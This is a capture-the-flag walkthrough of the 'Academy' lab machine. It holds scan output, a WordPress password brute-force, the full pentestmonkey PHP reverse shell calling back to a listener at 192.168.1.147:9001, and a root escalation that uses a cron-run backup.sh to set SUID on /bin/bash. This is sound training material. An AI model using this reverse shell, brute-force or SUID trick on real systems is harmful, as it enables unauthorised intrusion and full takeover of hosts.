TheHackerLabs
Academy [0 pts]
Challenge Description:
Introduction
Academy is an easy machine where enumerating a wordpress
with wpscan
we can get a user and brute force
him to get his password where we can access the admin panel where there is a file manager plugin where we can upload a .php
with a reverse shell and get access to the system as www-data
. In the system runs a cron job
where we can abuse it and get root.
Enumeration
We start with an nmap scan:
# Nmap 7.94SVN scan initiated Sun Oct 20 18:58:13 2024 as: nmap -p- --open -sSCV -n -Pn -vvv -oN target 192.168.1.33
Nmap scan report for 192.168.1.33
Host is up, received arp-response (0.00014s latency).
Scanned at 2024-10-20 18:58:14 CEST for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 cb:96:e2:96:ae:29:8d:89:da:c0:c6:86:d8:3a:57:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLGoO7kr3Uoz+JBPq/kDRlHzK6V3Tea+fPN0Iq5QB97IqgBQQqVyEPbu4CMUlBjjDaxCjYu9+CickqqpZu8uufk=
| 256 8d:8d:c4:c3:5e:ba:f1:2f:ff:1a:d1:97:ef:6a:2f:34 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO0cJidRXIkbitWFu77cNftfZoLqImpyYXIEr81L4L6b
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.59 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
MAC Address: 08:00:27:E2:AB:22 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 20 18:58:21 2024 -- 1 IP address (1 host up) scanned in 7.70 seconds
Let’s take a look at the web:
Nothing interesting let’s go fuzzing:
❯ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.33'
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.33
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wordpress (Status: 301) [Size: 316] [--> http://192.168.1.33/wordpress/]
/server-status (Status: 403) [Size: 277]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
We can see /wordpress
directory, let’s go to it and see what it contains, before that we will add academy.thl
to our /etc/hosts
:
192.168.1.33 academy.thl
We will see what a wordpress is, we will use wpscan
to enumerate it a little bit:
❯ wpscan --url http://academy.thl/wordpress -e u,vp,vt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://academy.thl/wordpress/ [192.168.1.33]
[+] Started: Sun Oct 20 19:39:58 2024
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.59 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://academy.thl/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://academy.thl/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://academy.thl/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://academy.thl/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.3 identified (Insecure, released on 2024-05-07).
| Found By: Rss Generator (Passive Detection)
| - http://academy.thl/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.5.3</generator>
| - http://academy.thl/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.5.3</generator>
[+] WordPress theme in use: twentytwentyfour
| Location: http://academy.thl/wordpress/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-07-16T00:00:00.000Z
| Readme: http://academy.thl/wordpress/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.2
| [!] Directory listing is enabled
| Style URL: http://academy.thl/wordpress/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://academy.thl/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:11 <==========================================================================================================> (652 / 652) 100.00% Time: 00:00:11
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <============================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] dylan
| Found By: Wp Json Api (Aggressive Detection)
| - http://academy.thl/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Oct 20 19:40:16 2024
[+] Requests Done: 705
[+] Cached Requests: 11
[+] Data Sent: 197.99 KB
[+] Data Received: 954.136 KB
[+] Memory used: 271.68 MB
[+] Elapsed time: 00:00:18
We managed to find the user dylan
let’s do brute force:
❯ wpscan --url http://academy.thl/wordpress -e u -P /usr/share/wordlists/rockyou.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://academy.thl/wordpress/ [192.168.1.33]
[+] Started: Sun Oct 20 19:41:05 2024
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.59 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://academy.thl/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://academy.thl/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://academy.thl/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://academy.thl/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.3 identified (Insecure, released on 2024-05-07).
| Found By: Rss Generator (Passive Detection)
| - http://academy.thl/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.5.3</generator>
| - http://academy.thl/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.5.3</generator>
[+] WordPress theme in use: twentytwentyfour
| Location: http://academy.thl/wordpress/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-07-16T00:00:00.000Z
| Readme: http://academy.thl/wordpress/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.2
| [!] Directory listing is enabled
| Style URL: http://academy.thl/wordpress/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://academy.thl/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <============================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] dylan
| Found By: Wp Json Api (Aggressive Detection)
| - http://academy.thl/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - dylan / password1
Trying dylan / password1 Time: 00:00:00 < > (30 / 14344422) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: dylan, Password: password1
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Oct 20 19:41:11 2024
[+] Requests Done: 45
[+] Cached Requests: 48
[+] Data Sent: 20.701 KB
[+] Data Received: 90.757 KB
[+] Memory used: 208.273 MB
[+] Elapsed time: 00:00:06
We get the password of the user dylan
, we are going to access the admin panel:
We will be able to see that we have a plugin called Bit File Manager
where we will be able to upload a .php
file with a phppentestmonkey:
PHPpentestmonkey:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.1.147';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Upload file:
Now we will go to http://academy.thl/wp-admin/file.php
in my case it will be test.php
and we will listen in the established port:
❯ nc -nlvp 9001
listening on [any] 9001 ...
connect to [192.168.1.147] from (UNKNOWN) [192.168.1.33] 49996
Linux debian 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64 GNU/Linux
13:48:43 up 51 min, 0 user, load average: 0.00, 0.06, 0.14
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$
Enumerating I found the credentials of the wordpress database but it will not be very useful, if we use pspy64 we can see the following:
2024/10/20 13:52:01 CMD: UID=0 PID=15116 | /usr/sbin/CRON
2024/10/20 13:52:01 CMD: UID=0 PID=15117 | /usr/sbin/CRON
2024/10/20 13:52:01 CMD: UID=0 PID=15118 | /bin/sh -c /opt/backup.sh
It is a cron job that runs every minute. If we look at the /opt/
directory we can find a script called backup.py
with the following content:
import paramiko
def conectar_ssh(hostname, username, password):
try:
cliente_ssh = paramiko.SSHClient()
cliente_ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
cliente_ssh.connect(hostname, username=username, password=password)
print("Conexión SSH exitosa")
cliente_ssh.close()
except SSHException as e:
print("Error al establecer la conexión SSH:", e)
hostname = "192.168.0.20"
username = "dylan"
password = "dylan123"
conectar_ssh(hostname, username, password)
There is a dylan
credentials for SSH but if we look at /etc/passwd
there is no such user. If we run that script we can see the following:
bash-5.2$ python3 backup.py
Traceback (most recent call last):
File "/opt/backup.py", line 1, in <module>
import paramiko
ModuleNotFoundError: No module named 'paramiko'
Let’s create a file named paramiko.py
containing the following:
import os
os.system("/bin/bash")
If we execute it we will see that nothing happens, remember that there is a cron that executes root every minute that executes a file called backup.sh
so we will create a file with that name with the following content:
chmod u+s /bin/bash
We will wait for that minute and we will be able to see that /bin/bash
has been assigned suid:
bash-5.2$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bash
bash-5.2$ bash -p
bash-5.2# whoami
root
bash-5.2#